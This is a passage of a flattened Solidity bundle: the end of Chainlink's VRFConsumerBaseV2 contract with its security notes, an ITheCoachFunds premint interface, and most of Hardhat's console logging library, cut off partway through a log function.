inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2 { error OnlyCoordinatorCanFulfill(address have, address want); address private immutable vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ constructor(address _vrfCoordinator) { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITheCoachFunds { function supplyLeftToPremint() external returns (uint256); function preMintAllowance(address addr) external returns (uint256); function preMintAddresses(uint256 index) external returns (address); function paused() external returns (bool); function preMintFor(address addr, uint256 amount) external payable; function getWeiPrice() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", 